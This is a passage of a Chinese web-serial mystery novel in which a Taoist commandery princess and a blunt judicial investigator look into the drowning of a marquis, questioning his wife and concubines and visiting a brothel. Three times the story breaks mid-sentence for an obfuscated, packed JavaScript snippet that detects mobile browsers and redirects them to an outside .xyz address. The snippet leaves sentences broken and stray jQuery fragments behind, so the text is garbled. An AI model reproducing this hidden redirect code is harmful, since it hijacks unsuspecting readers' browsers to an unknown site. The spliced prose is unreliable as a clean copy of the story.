《谁杀了平康侯》
1. 妻妾们胆敢弑夫吗
顺宏廿五年十月十九日,风清气朗。
平康侯符飏被打捞上来的时候,已经被泡得涨开,像朵挤满了水的变质银耳,在阳光下散发着不合时宜的腐臭。
做了二十二年世子、八年平康侯,他大约从未想过自己的人生会以这样的方式收场。
尸体先运回了平康侯府。
老夫人脸色煞白,摇摇欲坠。
平康侯夫人捂住大女儿的双眼,强装镇定。
二姨娘眼含泪光。
三姨娘和四姨娘哀伤地互相依靠。
人生总是如此无常。
前一秒仕途顺畅、后宅美满,后一秒便变成了河鱼的盘中餐。
大理寺寺正卫明展亲自负责调查。
一位侯爷死了,这可是大事。
老夫人一把抓住他:“我儿怎么死的?他怎么会淹死在河里?”
卫明展简单安抚:“您别着急,我们也正在调查中。”
“但平康侯失踪那晚曾在兴欢楼附近出现,有可能之后醉了酒,神智不清掉进河里。”
“不可能!飏儿素日谨慎,也不贪酒,决不会糊里糊涂地什么失足落水!”
老夫人心急如焚,一下子晕了过去。
卫明展照例对侯府众人进行询问。
在离家去往兴欢楼附近之前,符飏曾把大夫人、三姨娘、四姨娘都叫去书房——这也是他的这几位妻妾最后一次见到他。
至于在书房具体说了什么,夫人三人供述一致,都说是为了商量三姨娘的生辰宴。
大夫人主持中馈,四姨娘是三姨娘的亲妹妹,这也合乎情理。
而二姨娘是府里老人,现下却不受宠,有一段时间都没见过符飏。
一切都在佐证失足落水的猜想。
直到入夜,都城内有数几十家权贵收到了一封信件,落款盖着符飏的私印。更诡异的是,有与符飏相熟的朋友,辨认出信件上确实是符飏的字迹。
而这封仿佛是来自鬼魂的信,只有一行字:杀我者,乃我之妻妾!
*
符飏身亡的消息传到晋王府时,夷安郡主李霁只是短暂地惊讶了一会。随即她想,这多好啊,她还正愁没机会让符飏下台呢。
等看见府里出现的符飏的死后来信,她才觉得事情变得有趣起来。
李霁第一时间拿出符飏的字帖比对了字迹,她可以确定,这就是符飏亲手所写。世上没人能伪造得这样真。
信纸呢,则是满大街都是的普通样式,查不到出处。
送信人更是一个谜。权贵家里的护卫只多不少,竟然都没有一个人察觉到对方的到来。
这样一封诡异的幽灵诉冤书信,谈的还是世上少有的、大逆不道的弑夫行径,多让人感到好奇。
李霁想了想。她近日无事,有时间可以掺和一脚。
她一向行动力很快。
第二日,她便换了身素服,前往平康侯府吊唁。
李霁的母亲谢长衡,和符飏的母亲谢长宜是姐妹。说起来符飏还是李霁的表兄,不过两人来往很少。
平康侯府被官兵牢牢把守着,禁止外人进入。这是那位大理寺寺正卫明展的命令。
符飏死后写信申冤一事已经在都城传得沸沸扬扬。
皇帝对此很不悦,在给卫明展施压的同时也给了他不小的权力,好让他放手去查。
不过李霁是皇帝的侄女,手上还有和此案有关的谕旨。她进平康侯府,不会受到阻拦。
平康侯府内乱成一锅粥。
可不是嘛。侯爷被杀,夫人和姨娘们被指控成了杀人犯,老夫人悲伤过度,小姐们又都年幼,几乎没人能管事。
李霁先去探望老夫人。
老夫人谢长宜躺在床上,脸上尽是痛失爱子的悲恸:“阿霁,姨母只有这么一个儿子啊......”
李霁言辞恳切,劝谢长宜节哀:“姨母,逝者已矣,您要保重身体。”
“您放心,我已经知会了圣清宫的师兄们,他们即日就来给表兄做法事,助他早登极乐。”
李霁封号夷安,是当朝郡主,同时也是圣清宫的一名道士。
谢长宜握住她的手:“难为你如此有心。”
在谢长宜那做足了表面功夫,李霁马不停蹄去见符飏的妻妾们。
她很好奇,真的是这些女人中的一位或者多位犯下了弑夫的罪行吗?
李霁沿路见到官兵们在搜查院子房间。听说是卫明展下令,要仔仔细细查找可疑线索。
卢夫人和三位姨娘都聚集在静湘院内,等待卫明展问询。符飏的两位女儿也都跟在各自的母亲身旁。
李霁见到这些人,还是老一套地先虚情假意一番。
符飏的正妻名唤卢宴容,出身范阳卢氏,姿容端庄,性情温和,膝下有位十五岁的女儿,是位几乎无可指摘的贤良夫人。
卢宴容此时已经从丧夫的震惊中缓过来,神情平静,言谈举止还是高门贵妇典正有礼的做派。
她声线不起波澜:“郡主能在这个时候前来探望,有心了。”
至于她的女儿符玉心,也是位教养颇好的贵女,此时说道:"多谢郡主表姑。"
李霁说道:“都是一家人,当然得互相帮扶。”
她环顾在场的人,问:“卫大人可有为难你们?”
卢宴容说:“卫大人秉公执法,并未做过出格之事。”
李霁说:“如此便好。”
她有意拉近和这些人的距离,叹气道:“表兄已然去世,还有人故弄玄虚,写那样的信件,要侯府里不太平,真是其心可诛。”
有人忍不住附和:“怎么不是呢。”
说话的人是三姨娘江照月。她和四姨娘江令真是同父异母的姐妹,都是六品朝议郎江恪的女儿。
李霁对这两姐妹有印象。姐姐江照月是位清纯天真的美人,向来坦率,喜欢直抒胸臆;妹妹江令真同样貌美,精通琴棋书画,聪慧机敏,较之姐姐更善于筹谋。
江照月接着说:"我们不过一介女子,怎么会做出那样可怖的事情?分明有人假冒侯爷,写信污蔑。"
江令真开口:"姐姐妄自菲薄了。你能做出来的事情,可远超寻常。"
"你什么意思?都这种时候了,你还顾得上耍嘴皮子功夫?"江照月生气道。
江令真很平静:"我不过随口一说,能有什么意思。"
江照月瞪着妹妹,脑子却卡住,想不出来反驳的话。
江家姐妹不合,是人尽皆知的事情。李霁对于这场小小的争吵,并不感到意外。
卢宴容身为夫人,习惯性地出来打圆场:"好了。郡主还在这,不可无礼。"
李霁摆手,表明自己不在意。她的视线落到一直还没有说过话的二姨娘身上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920759|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
二姨娘罗如瑛是前镇国大将军的女儿,年少时就练就一身好武艺,女扮男装随军征战,赢过好几场值得载入青史的战役,可惜最后还是囿于后宅。
罗如瑛正坐在红木椅子上,神态恹恹,不知道在思考些什么。
按可能性而论,罗如瑛倒是最大的嫌犯——毕竟四个人之中,只有她会武功,也只有她手上沾过人命。
会是她吗?
江令真在此时问:“郡主,您认识卫大人吗?”
李霁把注意力转回来。
卫明展是户部尚书的私生子,前两年高中进士,到大理寺任职,不久就当上了大理寺寺正。不过此人小时候在鱼龙混杂的地方长大,听闻性情乖张,做事随心所欲,对罪犯更是毫不手软,人送外号“疯犬”。
李霁当然认识他,只是认识的过程的不太愉快罢了。
去年卫明展调查一桩杂技团血案,嫌犯疑似逃到了李霁所在的道观清圣宫,故而卫明展下令封锁清圣宫,彻查一切人员。
恰好李霁的一名师兄炼好了丹,得及时送到宫里,所以他向卫明展请求让他出清圣观,或者派官兵去送一趟。卫明展却拒绝了,他认为这不是要紧事,并说人手紧张,不可能替他送丹药,让他再等等。
这名师兄害怕开罪上头,只好托李霁去向这位寺正求求情,希望她的郡主身份能有点用。
李霁表示可以一试。但卫明展听完她的来意,甚至没给她继续说的机会,就直接把她赶了出去。
李霁虽然有些生气,却也无可奈何。
卫明展确实师出有名,并且皇帝对他十分喜爱,哪怕后来得知了是卫爱卿阻拦自己吃到新鲜出炉的丹药,居然也不在意。
案件结束之后,李霁觉得还是得和这位殿前红人建立一下良好的关系,于是写了个帖子,送上一些珍宝,给卫明展送去,为当时自己的无理请求道歉。不过卫明展都尽数退回,也没有其他的回应。
总之,“疯犬”大人似乎不太待见她。
她回答江令真的问题:“我和卫大人没什么交集。”
“不过”,李霁停顿了一会:"听闻卫大人的审判手段,很不寻常。”
江照月有些害怕:“他不会对我们动刑吧?”
“他不敢。”符飏的大女儿符玉心说道。小姑娘今年十五岁,身上却有种老成持重的气质。
大约身为家中长女,她自幼背负的责任便多一些。
符玉心说得对,卫明展确实不敢。目前只有一封没凭没据的信,卫明展不能因此而对这群贵族女子做什么。
李霁故意唱反调:“话是这么说,但卫大人此人太捉摸不透。”
卢宴容瞥了她一眼,知道李霁还有后话。
李霁说道:“所以今早皇上降下了一道口谕,让我参与此案的调查,确保卫大人规矩行事。且卫大人到底是外男,对诸位进行单独问询时难免不便,倘若有我在场,事情也好办许多,更不至于传出什么有损清誉的流言。”
李霁没有告诉她们,这道口谕是她特意求来的。她在皇帝面前,用的说法也差不多。皇帝觉得让李霁修道,平日温和知礼,刚好制衡一下卫明展的莽撞,于是也就同意了。
在场其余几个人的目光都汇聚在李霁身上,思考着这个变动究竟是福是祸。
卢宴容的面上看不出悲喜,只是说道:“有劳郡主。”
2. 贤惠的夫人和从过军的二姨娘
卫明展很快就来了。
他提前得知了李霁的到来和皇上的那道口谕,所以见到她的时候并不觉得惊讶。
他本人对李霁没什么印象,还是手下告诉他这是个修道的郡主。
至于和李霁之前的小小争端,他早就忘在脑后了。他平均半个月就开罪一位权贵,李霁只是其中微不足道的一个。
他开门见山,先审问卢宴容:“卢夫人,请吧。”
卫明展又想起李霁的存在,补充道:“郡主也请。”
这么礼貌。李霁都要不习惯了。
三人到了隔壁的厢房中。
“夫人,你最后一次见到你丈夫是什么时候?”
卢宴容回答:“在本月十四日晚上。三姨娘生辰将至,侯爷召我们前去商议此事。之后我和三姨娘、四姨娘一同离开。”
“那么平康侯之后去了哪里?”
“门廊的小厮当夜回禀过,侯爷戌时左右出了门。其余我不清楚。”
卫明展问:“三姨娘的生辰是什么时候?”
“十一月初六。”
“还有将近一个月。平康侯如此重视,三姨娘很得宠吧?”
卢宴容说:“侯爷向来爱护我们,并不因是谁而例外。”
卫明展又问:“所以那晚讨论出什么来了吗?侯府打算如何办三姨娘的生辰宴?”
“届时会请天下一第楼的厨子入府,摆上几桌宴席。侯爷体恤,还准备召三姨娘的的父母前来一起用宴。”
“三姨娘心情应当很好?”
卢宴容微微颔首。
“就只谈了这些?”
“是。”
卫明展又问:“那晚是谁先到平康侯的房间?”
卢宴容略微思索:“三姨娘先到。其次是四姨娘。最后是我。”
卫明展语气随意:“夫人,我还好奇一件事。”
“大人请说。”
“亲手为一个和你争夺丈夫宠爱的姨娘操持生辰宴,是什么感觉?换成是我,我肯定不会答应这件事,而且会嫉妒得发疯。”
卢宴容看向他,说:“这是我的分内之事,何来嫉妒一说。”
“卫大人”,卢宴容说:“你不是我,也不可能是我。你难以理解我们的处境。”
“我说错话了,抱歉。”
卫明展的礼貌没有持续很久,他说:“符侯爷那晚出门后,去了兴欢楼。夫人知道兴欢楼是什么地方吗?”
李霁微微皱眉,说:“卫大人慎言。”
兴欢楼是青楼。
卫明展看她,不解:“这有什么不能说的?”
卢宴容开口道:“兴欢楼......我知道那是什么地方。”
卫明展问:“他经常去那里吗?”
卢宴容回答:“我不清楚。侯爷在外面做什么,很少告诉我们。但他不是沉迷酒色之人。”
卫明展忽然问:“你过得幸福吗?”
卢宴容面不改色,坚定说道:“当然。”
*
卫明展接着问询二姨娘罗如瑛。
“罗将军。”罗如瑛曾从军,卫明展此时用她从前的官职称呼她。
罗如瑛却苦笑:“我如今是平康侯的二姨娘。”
“好吧”,卫明展说:“我认识罗家军的一些旧部。他们都还常常提起你和大将军。”
“时过境迁,难为他们还能记得。”
罗如瑛并不想和他回忆往事:“卫大人要问什么,抓紧问罢。”
卫明展碰了灰,只好问道:“你最后一次见平康侯,是什么时候?”
罗如瑛说道:“在中秋家宴上。”
如今十月,中秋在八月,罗如瑛居然两个月没有见过符飏,可见她平日并不受宠。
不过这也并不是新鲜事。李霁记得,罗如瑛和符飏之间这种疏远的关系已经持续了几年。
会不会罗如瑛终于忍受不了,要结束这段关系,要符飏为他的风流偿债?
卫明展又问:“本月的十四日晚上,你在干什么?”
“在我的房间中读书。戌时过后便睡了。”
“具体读的什么?”
“远丹真人写的西南游记。”
“那晚读到哪了?”
罗如瑛垂眼,想了想:“似乎是到芫县那一章。”
“有谁能证明那晚你在房间吗?”
“我的侍女萍儿。”
卫明展轻轻敲打着桌子,思考了几秒,忍不住问了一个无关的问题:“将军,你不后悔吗?”
不后悔在这如同牢笼一般的后宅中,守着一个背弃了诺言的丈夫度过独孤的余生吗?
李霁也看向罗如瑛。她同样好奇这个问题的答案。
罗如瑛只是轻轻笑了,并没有回答。
*
连审了两个人,卫明展决定休息一会。
他没什么形象地往椅子后一躺,侧头看坐在一旁的李霁:“郡主就打算这么安静地旁观我审问?我还以为你对这个案件这样感兴趣,会主动问许多问题。”
李霁说:“我只是前来协助大人调查。主审官当然是大人你。放心,我不会做越俎代庖之事。”
“说到可要做到。”
李霁微笑:“自然。”
他又问:“你觉得需要多久才能查出真相?”
李霁之前倒没发现他似乎是个不说话就难受的人。或许是因为这次她和卫明展站在同一阵营,卫明展对她没有敌意,展现出来的态度也不一样。
“断案是大人你的长处。我不敢妄言。”
“猜一猜?”
“我不习惯于猜测。”
卫明展说:“那换一个问题,你觉得我能查出来是谁杀了平康侯吗?”
这种问题得给予肯定回答,不然会有损双方的关系。李霁回答道:“卫大人的能力有目共睹,我相信你能还符表兄一个公道。”
卫明展摸摸下巴:“有目共睹吗?我坐上寺正一位,其实有人有异议。他们觉得我在市井中长大,性格乖戾,做事横冲直撞,手段不够正派......总之很多人认为我靠的是家里的关系,德不配位。”
李霁想,原来他还挺了解自己和别人对他的评价。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920760|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
卫明展话不停:“其实你也这样看待我的吧?”
“大白若辱”,李霁说道:“最洁白的事物,反而看着有污垢。即便在众人眼中你的行为不当,这也并不影响你成为一位具有美德的君子。”
卫明展看着她,心想这夷安郡主修道修得挺好啊,讲起道理来一套又一套。不过他末了不免觉得她说得确实有道理——别人怎么想他,关他什么事。
他又看了看她,忽然觉得她有些眼熟:“郡主,我们之前是不是见过?”
?原来他忘了他十分粗鲁地赶走过她的事情?
李霁心里咬牙切齿,面上还是非常平和:“杂技团血案中,大人封锁了清圣宫查找嫌犯,我师兄意欲外出送丹被拒,我因此面见过大人。”
卫明展的记忆开始复苏:“好像有点印象。”
他更多沉浸在对杂技团血案的回忆里:“那真是一场难办的案件。一个团里,十三人身亡。凶手是年纪最大的学徒,因为继承杂技团的人选不是他,所以心怀怨恨,最终手刃了其他人。唉.......简直是惨剧。他还尤其狡猾,擅长缩骨术,把身高缩小,变成了小孩,混入你们道观里做新进的弟子。”
李霁也知道此案的诡谲与复杂,她明白卫明展最终能破获案件,花费了极多的精力。在这一点上,她对卫明展,怀有敬佩之心。
她说:“是的。我后来也意识到,重案在前,实在不该去叨扰大人。”
“嗐,我那时候实在没精力管别的事,所以可能做的也不好”,卫明展又想起别的事:“你是不是还给我送过东西?”
李霁点头:“我特地写了信向你道歉。但一直未收到回复。”
卫明展挠头:“还有信啊......我好像没看到。我一看你送来那么多好东西,就以为你想向我行贿,所以都退了回去。”
这也是真话。权贵们经常犯法,有时候被卫明展逮到,就一定会把他们送牢里。这时候家属就会出面,送来金银财宝让卫明展通融。频率一高,卫明展觉得很烦,就决定一律把送来府里的东西都退回去。
哈哈。李霁只好笑了笑:“卫大人清廉,是官员们学习的模范。”
卫明展哼了一声:“模范?他们巴不得我出事才对。那些人可不喜欢我这样不受控制的类型。”
他停顿几秒,说出他和李霁这段谈话中,他真正要讲的东西:“话说回来,郡主,其实你参与进平康侯这起案件,有特别的原因吧?不过只要你不妨碍我调查,我也不会管。我所求只有找出真相,顺利结案。”
李霁应下。
她此时觉得卫明展倒是一个很坦率的人。
但他也很天真。
现今正值储君之位争夺的关键时刻,平康侯符飏一案只要利用得当,其调查结果将能成为在朝堂之上对付政敌的上佳利器。
毕竟真相是什么不重要,重要的是,能不能找出足够多的“证据”来使某一个人背上杀害当朝侯爷的罪行。
而意识到这一点的绝不止李霁一人。
卫明展已然被卷入一场斗争,但他却仍不自知。
3. 三姨娘和四姨娘是姐妹
三姨娘江照月接着被问询。
相比于卢宴容和罗如瑛的镇定,江照月从进来开始就显得十分紧张和局促,不断地搅着手帕。
她的供述磕磕巴巴,但和卢宴容所言基本一致。都是说十四日晚上最后一次见到符飏,见面讨论的是她的生辰宴。
卫明展问:“那晚你们三位谁先去了平康侯的房间?”
江照月频繁眨眼,努力回忆着:“好像是我先到了?我记得当时房间里只有侯爷一个人。然后......然后夫人到了。不对,是妹妹先来。是的,就是妹妹先来。夫人最后才来。”
这和卢宴容说的一样。
卫明展瞧着她不安的样子,眼珠一转,觉得她或许是破局的关键,他假装严厉道:“把那晚的事情,包括你们说了什么话,都一五一十地告诉本官。”
江照月果然被吓了一跳,声音变小:“好......”
“那晚人都来齐之后,侯爷就问我想要怎么办生辰宴。我就说一切听他和夫人的安排,只要一家人在一起,我就已经很高兴。”
“侯爷接着看向夫人,问她的意见。因为我喜欢吃天下第一楼的川菜,夫人就说那天请那里的厨子来主勺。然后夫人问我有没有想要宴请的人。我在都城没什么朋友,所以就回答了可不可以请父亲母亲来。侯爷答应了。”
“侯爷之后还说,他在金秀阁订了几套首饰,生辰那天会送给我。”
江照月说着说着便哽咽起来:“侯爷说好生辰那日会陪着我和锦心......可是他怎么就走了?”
锦心是江照月和符飏的女儿,平康侯府的二小姐,还未满周岁。
“我没有夫君了,锦心也没有父亲了。可怜我的锦心才这么小,都没学会叫阿爹......”
她不能自已,崩溃哭泣:“符郎......我的符郎......”
卫明展没料到这样的局面:“这个,三姨娘,你冷静一下。”
但江照月转而哭得更大声。
卫明展求救般地望向李霁,让她想想办法。
李霁只好上前把江照月揽在怀里,轻声安慰:“一切都会好的.......”
江照月一头埋在李霁身上,呜呜地不停哭着。
李霁侧头用眼神和卫明展交流,告诉他现在问询江照月是一件难事。
卫明展无奈地挥挥手,示意她先把江照月送回去。
*
安顿好江照月,李霁把四姨娘江令真带了进来。
江令真和江照月都是江家女,性情却不同。江令真显然更冷静而有条理。
卫明展把问卢宴容和江照月的问题又问了一遍。
江令真口齿清晰地给出了回答。也都能和其他人的供述对得上。
卫明展问:“在商讨三姨娘的生辰宴时,你具体都说了什么?”
“那晚我没怎么说话。”
“为什么?”
江令真冷冷说:“他们筹划的是江照月的生辰宴,和我有什么关系。”
卫明展听出来了:“你和三姨娘关系不好?”
江令真说:“对。”
“为什么?她毕竟是你的亲姐姐。”
江令真不屑:“我宁愿没有这个姐姐。”
“是因为平康侯?”
“不仅仅是”,江令真说:“我们从小关系便糟糕。”
“怎么个糟糕法?”
江令真给了一个模糊的说法:“我们互相都不喜欢对方,时常争吵。”
卫明展问:“你入府之前,曾是平康侯的外室?”
江令真眸光一暗:“对。”
“你是官宦之后,足以能入侯府做妾室。为什么平康侯要将你养在外面?”
“因为老夫人。”
卫明展不明白:“老夫人?”
江令真看了一眼李霁,似乎有些犹豫。毕竟老夫人可是这位郡主的姨母。
李霁说:“四姨娘有什么话只管说。无需顾忌其他。”
江令真于是说:“老夫人不喜欢看见姐妹共侍一夫。当时侯爷已经纳了姐姐,顾及着母亲的命令,所以不能再纳我。”
李霁想起来,她母亲同她说过,符飏的父亲当年娶了妻子谢长宜后并不满足,很快又纳了谢长宜的堂妹为妾。谢长宜未出阁时和那位堂妹关系还很好,但等前后入了侯府,两人不久就成了仇人。
那么既然谢长宜还在世,江令真又是如何能入府?
李霁和卫明展不约而同都看向了江令真隆起的肚子,猜到了原因——她怀上了符飏的孩子。
符飏只有两个女儿,可不就日日夜夜盼着有一个儿子来继承家业?所以江令真一朝怀孕,符飏就立马把她接入府里,仔细照顾。
江令真体格纤弱,又有孕六个月,她显然缺乏亲自杀死符飏的能力。
卫明展目前对她并不怎么怀疑,又简单问了两句,就把她放走了。
卫明展审完了人,没急着离开。
又过了一会,卫明展的手下齐丰年,从侯府小厮丫鬟那探听了消息,匆匆跑到书房来向卫明展汇报。
“头儿,都找你的吩咐问过一圈。十四日晚上,巡逻的一队家丁在书房附近先后见到了三姨娘、四姨娘和卢夫人进入书房内。大约过了一刻钟,丫鬟弄雪和画蕊见到卢夫人三人从书房出来。路上有多名丫鬟小厮都能作证这三人之后各自回了所在的院子,当夜未再出门。”
齐丰年接着说:“那晚当值的门廊小厮赵瓦子说,他亲眼见到侯爷出了门,往西去了。没过多久打更的就来了,赵瓦子记得那时大约是戌时。”
卫明展问:“平康侯独自一人出门?”
齐丰年点头:“是。府里人说,侯爷最看重的亲信有两位,一个叫凌亥,一个叫龚午。凌亥被安排去南方办事,现在不在府里。龚午则说侯爷出门一般都会带上他,但那晚他确实没接到命令要跟着出门。他也觉得很奇怪。”
李霁在一旁认真听着。既是如此,那么符飏就是离开侯府后出的事,而卢夫人等人一直待在侯府里,自然没机会对符飏下手。
当然,也还有一种可能性,她们可以买凶杀人。
*
卫明展一行人随后去了符飏的书房——符飏失踪的那一晚,在平康侯府最后待过的地方。
书房整洁有序,方桌上笔墨纸砚按着符飏习惯的方式摆放,仿佛它的主人从未离开。
杜明早上已经里里外外又查了一遍,什么打斗的痕迹、可疑的线索都没找到。
他到这来,只是再找找灵感。
他很不客
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920761|177071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气地坐下,翻开桌面还未完成的字帖看。
卫明展点评:“这字真不错啊。”
齐丰年是卫明展的手下,一脉相承地话多:“头儿,这可是符侯爷啊!是咱们当朝的书法大家。便是一个字,在外头都能卖个十金。你也知道我就爱名家的墨宝,我就可想买一幅符侯爷的字,可是没有钱,也没有渠道。”
“十金?”卫明展平日对书画市场不感兴趣也不了解,于是乍舌:“有钱没处花?谁会买个字帖花上这么多钱?你别骗我。”
齐丰年:“您不信,可以问郡主啊。郡主在书画方面可是行家。是吧,郡主?”
李霁和符飏都曾拜在书法名手陆秦的门下修习,她对书画确实颇有了解。
她又想起,陆夫子曾经对她说,符飏没有天赋,也不勤勉,以后成不了大家。
但谁能想到,符飏最后能有这么高的水平?
李霁回答道:“是。符表兄的字帖,有市无价。”
卫明展惊叹于他手中的字帖重至百金。
李霁则四处查看。她和符飏虽是表兄妹,但关系不亲近。符飏的书房,她也只来过几次。
但这就够她发现些许端倪。
她余光中瞥见书桌上摆着的一个细颈青绿瓶,觉得色泽不对,接着拿起来查验一番,道:“这玉壶春瓶是赝品。”
李霁道:“这玉壶春瓶是稀世珍品,天下只有两件。原先两件都在宫里,后来其中一件被赏赐给了符表兄。”
卫明展走近,很快反应过来李霁话中所指,既然符飏手上有真品,当然没道理将一个赝品摆在如此显眼的位置。他说:“那这假瓶子就不是被符飏摆上去的。”
齐丰年凑过来:“会不会真瓶子被毁了,但始作俑者害怕平康侯发现,所以找了个假的放上去,想滥竽充数。难道是打扫的丫鬟?”
李霁摇头:“这个赝品做得极好。能有门道拿到这样的仿品,不会是丫鬟。”
卫明展也站起来,说:“那就是府里的主子们。”
他问李霁:“郡主,你能看得出来是这个仿品出自哪里吗?”
李霁想了想:“不能。不过庆木轩的主人周之涯是此中高手。”
卫明展把瓶子交给齐丰年:“小齐你去庆木轩,查明到底是谁买了这个仿品。”
他嘱咐道:“记住,要问清楚是什么时候买的。”
如果是在十月十四日后,那么这个玉壶春瓶便是在符飏死后才被替换,甚至有可能就是在符飏离府的那晚被打碎。
况且有人这样费心费力试图掩盖这个事情,正好说明这个瓶子可能正是某一件事的关键。
齐丰年领命,马上就离开了。
因着李霁发现了疑点,卫明展再一次打量起李霁,只见她也看向他,嘴角挂着柔和的笑意。
今早他听齐丰年提过一嘴,说夷安郡主李霁待人宽厚,一心向道,是位有德而良善的道士。
杂技团一案,他不太礼貌地拒绝过李霁的请求,对方之后也没生气,还给他写道歉信。这样看来,传闻也有几分真。
不过卫明展有种直觉,李霁不良善,也没德。
但他现在意识到一件事情,以李霁对皇室和平康侯这些人行事作风的熟悉,在符飏案的调查里,她能起到很重要的作用。
4. 侯爷生前最后去了哪里
平康侯符飏生前最后一次被人看见,是在兴欢楼内。
兴欢楼是青楼,地处城郊,傍着南门河。
据兴欢楼的老鸨说,符飏在十月十四日戌时左右进入兴欢楼,点了两个姑娘,喝了不少酒,直至十五日寅时才离开。
但事情不仅这么简单。
兴欢楼以注重客人隐私而小有名气。凡是进入楼中的客人,都必须持有欢兴楼发放的通行帖,同时还得佩戴一个统一形制的面具。
在这种情况下,符飏进没进过兴欢楼,其实一时半查不出来。
而卫明展之所以能在符飏尸体打捞上的那天,就知道符飏最后的行踪,得益于符飏的母亲谢老夫人谢长宜。
符飏在十四日出府之后便杳无音信,十五日晚众人感到不妙,于是开始四处寻找符飏。
谢老夫人找到符飏的亲信龚午,让他将符飏可能会去的地方都查一遍,其中就包括了兴欢楼。
兴欢楼并不是密不透风的铁桶。谁进去了,谁又出来了,同一场的其他客人可能不知情,不过老鸨却是了如指掌。但要撬开老鸨的嘴可不容易——据说她依靠着当朝一位势力庞大的高官。
谢老夫人为了找到儿子,还特地去求了贤王,由他牵线搭桥,才得知符飏当晚确实去了兴欢楼,但第二日就离开了。
之后龚午带着人在兴欢楼周围寻找,多番努力,最终找到的,却是主人的遗体。
*
卫明展决定要便衣暗访一回兴欢楼。
他本来想直接杀去兴欢楼,挨个提审里头相关的人物,但李霁提醒了他一件事。
兴欢楼的客人都非富即贵。卫明展要是这么明目张胆地闯进去,那些客人难保不会担心卫明展会问出一些不利于他们的事情。
也不必说客人,兴欢楼真正的东家肯定会为了保护自己的利益,而去阻挠卫明展的调查。
这样一来,可能卫明展最后什么线索都找不到。
卫明展和李霁结束在平康侯府的问询,再赶到兴欢楼附近时,已经入夜。
进入兴欢楼,需要经过几道弯绕的长廊。
李霁轻车熟路,在入口处拿了面具,给自己和卫明展戴上戴上,接着带着他抄近路,很快就到了兴欢楼。
步入兴欢楼,只见灯火通明,男男女女穿梭其中,酒满盏,曲不停,侬词飘扬,云袖尽舞,一派富贵奢靡的热闹景象。
卫明展感慨:“世上多少百姓要辛辛苦苦才能维持温饱,官员权贵们却能在这里享乐。”
李霁问他:“卫大人从未来过此处?”
卫明展说:“当然。”
他愤愤道:“这里目之所及都是不公平而肮脏的交易,能是什么好地方。”
他这倒没有说错。不过李霁没有接他的话。
此时一位着玫红裙襦的女子贴过来,语气关切:“二位客人,可有什么需要?”
这是兴欢楼的老鸨彩兰。
“给我们找一对姐妹。要会奏阮的。”李霁抛给她一锭金子,自如得仿佛是这里的熟客。
这又加深了卫明展对贵族的刻板印象——不管男的女的,这群人都纵情声色,玩得很花。
彩兰给他们找了一对姐妹。李霁不满意,把她们赶走,彩兰于是又找了新的来。李霁则还是不满意......如此循环反复,直到彩兰送进来文春和文夏两姐妹,李霁才喊停。
文春、文夏正是符飏生前在这里点的姑娘。
两人是双生子,一模一样。不过细看还是有差别。文春是姐姐,抱着阮,气质娴静,妹妹文夏笑容明媚,瞧着很活泼。
得知李霁他们是来问有关符飏的信息,她们便警惕起来,不肯透露。
兴欢楼的姑娘们不被允许讨论客人的情况。
李霁早有预料:“作为交换,我能帮你们彻底离开这里。”
兴欢楼不许姑娘们赎身。除非是被作为礼物被东家送出去,否则她们只能在死后才恢复自由身。
李霁加码:“我能帮你们设计一场假死的局,而后送你们离开。”
文春和文夏担忧李霁在骗她们,却终究抵不住诱惑,还是同意了。
卫明展此时对李霁的评价既正面,又负面——她有手段,又似乎太有手段了。
卫明展接着开始问询。
“你们知道十月十四日那晚的客人是谁吗?”他问道。
文春说:“平康侯符飏。他是我们的常客,平时自称凌公子。他会和我们聊天,有时喝醉,会说一些家里和官场上的事,时间久了,我们自然就能猜出个一二。”
“将十四日那晚的事情说一遍。”
“大约快到亥时,他到了楼里,照旧点名我们姐妹作陪。”
“他似乎心情一般,让我们唱曲,又陪他喝酒。那晚喝了很多酒,我们三个都醉得不行。平康侯醉得最厉害。他平常分得清我们两个,那晚却连我们的名字都叫错了两三次。”
“最后我们便去床上休息。妹妹一直睡到午时。我到寅时的时候醒了一会,他那时正准备离开。”
“平时平康侯都这么早离开吗?”
文夏说:“不一定。有时他要赶回去上朝,走的时候得比寅时要早得多,但有时他会过夜,到第二日午后才离开。”
“他那晚可有什么异样?”
“这倒没有。和平常大差不差。”
卫明展问:“但你方才说,平康侯心情似乎一般,喝了很多酒。”
文春笑了:“来了这里的客人,不少都是为了发泄情绪。平康侯就是这样。他来见我们时,经常都是没什么好心情的。”
“他有没有提到那晚是因为什么事情而心情不好?”
文春说:“他说得很隐晦。他告诉我们,有一位朱姓商人总是阻碍他做生意,导致他一直都在亏损。之后他又说他已经找到解决的方法了。”
符飏这些话都是什么意思?暂时没人知道。
卫明展只好先记下来。
